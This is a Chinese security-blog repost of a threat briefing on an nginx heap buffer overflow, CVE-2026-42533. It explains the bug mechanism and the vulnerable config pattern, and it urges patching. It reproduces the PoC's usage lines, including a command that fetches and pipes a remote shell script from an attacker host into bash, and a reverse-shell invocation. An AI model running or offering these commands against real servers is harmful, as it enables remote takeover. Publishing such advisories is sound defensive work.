文章总结: CVE-2026-42533是nginx双遍字符串求值引擎中的严重堆缓冲区溢出漏洞(CVSS9.2),影响多个版本。攻击者可通过特定配置模式实现预认证远程代码执行,PoC已公开。建议立即升级至nginx1.30.4/1.31.3或NGINXPlus修复版本。 综合评分: 90 文章分类: 漏洞分析,恶意软件,漏洞预警,安全工具,威胁情报
CVE-2026-42533 — nginx 堆缓冲区溢出 PoC 漏洞利用
Ots安全
2026年7月28日 14:32 广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
公开 PoC 于 2026 年 7 月 27 日发布——不要等待,立即打补丁。
| | | | — | — | | CVE | CVE-2026-42533 | | CVSS 4.0 | 9.2(严重) | | 类型 | 堆缓冲区溢出(CWE-122) | | 做作的 | nginx 0.9.6 – 1.30.3(稳定版),0.9.6 – 1.31.2(主线版) | | 固定的 | nginx 1.30.4 / 1.31.3,NGINX Plus R36 P7 / 37.0.3.1 | | 已披露 | 2026-07-15 (F5 / NGINX) | | PoC已发布 | 2026-07-27 | | 研究员 | 斯坦·肖(0xCyberstan) |
概述
CVE-2026-42533 是 nginx 双遍字符串求值引擎中的一个严重堆缓冲区溢出漏洞。当基于正则表达式的map指令与编号捕获组(例如 <p> $1、$2<p> 等)交互时,共享r->captures结构会在 LEN(测量)和 VALUE(写入)两遍之间被静默覆盖。这会导致大小不匹配:
- 更大的捕获 → 堆缓冲区溢出(攻击者控制的越界写入)
- 较小的捕获 → 信息泄露(未初始化的堆内存暴露,libc/堆指针泄露)
这两个原语结合在一起,可以实现可靠的预认证远程代码执行,绕过 ASLR——在 Ubuntu 24.04 上以 10/10 的可靠性进行了验证。
工作原理
┌─────────────────────────────────────────────────────────────┐
│ LEN PASS (measure) │
│ $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│ $overflow_gadget = giant_header → measures 5000 bytes │
│ Buffer allocated:5003 bytes │
│ │
│ [ $overflow_gadget triggers map regex → clobbers $1 ] │
│ $1 now = giant_header (5000 bytes) │
│ │
│ VALUE PASS (write) │
│ $1 writes 5000 bytes (LEN said 3!) → OVERFLOW! │
│ $overflow_gadget writes 5000 bytes │
│ Total written:10000 bytes into 5003-byte buffer │
│ → 4997 bytes overflow into adjacent heap │
└─────────────────────────────────────────────────────────────┘
溢出会破坏相邻的堆结构。主要目标是ngx_pool_cleanup_t:
structngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // function pointer → overwrite for RIP control
void *data; // argument to handler
ngx_pool_cleanup_t *next; // next in chain
};
当连接池被销毁时,handler(data)会调用 → 任意代码执行。
存储库结构
CVE-2026-42533/
├── exploit/
│ ├── exploit.py # Full exploit chain (leak → spray → overflow → RCE)
│ ├── leak.py # Info leak module (heap/libc pointer leak)
│ ├── overflow.py # Heap overflow module (crash / RCE trigger)
│ ├── analyze.py # GDB analysis helper for offset determination
│ └── requirements.txt # Python dependencies
├── nginx/
│ └── nginx.conf # Vulnerable nginx configuration
├── Dockerfile # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml # Docker Compose for easy deployment
└── README.md
完整漏洞利用链
python3 exploit/exploit.py<target> [options]
# Examples:
python3 exploit/exploit.py192.168.1.100 # full auto
python3 exploit/exploit.py192.168.1.100 --leak-only # recon only
python3 exploit/exploit.py192.168.1.100 --crash # verify vuln
python3 exploit/exploit.py192.168.1.100 --cmd "id > /tmp/pwned"
# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py192.168.1.100 \
--libc 0x7f1234000000 \
--heap 0x5a1234000000 \
--cmd "curl http://attacker/shell.sh | bash"
# Reverse shell
python3 exploit/exploit.py192.168.1.100 \
--reverse-shell --lhost 10.0.0.1 --lport 4444
易受攻击的配置模式
该漏洞利用需要nginx配置中存在以下特定模式:
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow$overflow_gadget {
"~^(.+)$" $1; # regex match overwrites $1
default "";
}
# 2. A regex location (creates captures)
server {
location ~ ^/api/(...)$ { # creates $1, $2, ...
# 3. Both capture AND map variable in same directive
return 200 "$1$overflow_gadget"; # ← two-pass sink
}
}
POC:
https://github.com/imbas007/cve-2026-42533
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《CVE-2026-42533 — nginx 堆缓冲区溢出 PoC 漏洞利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论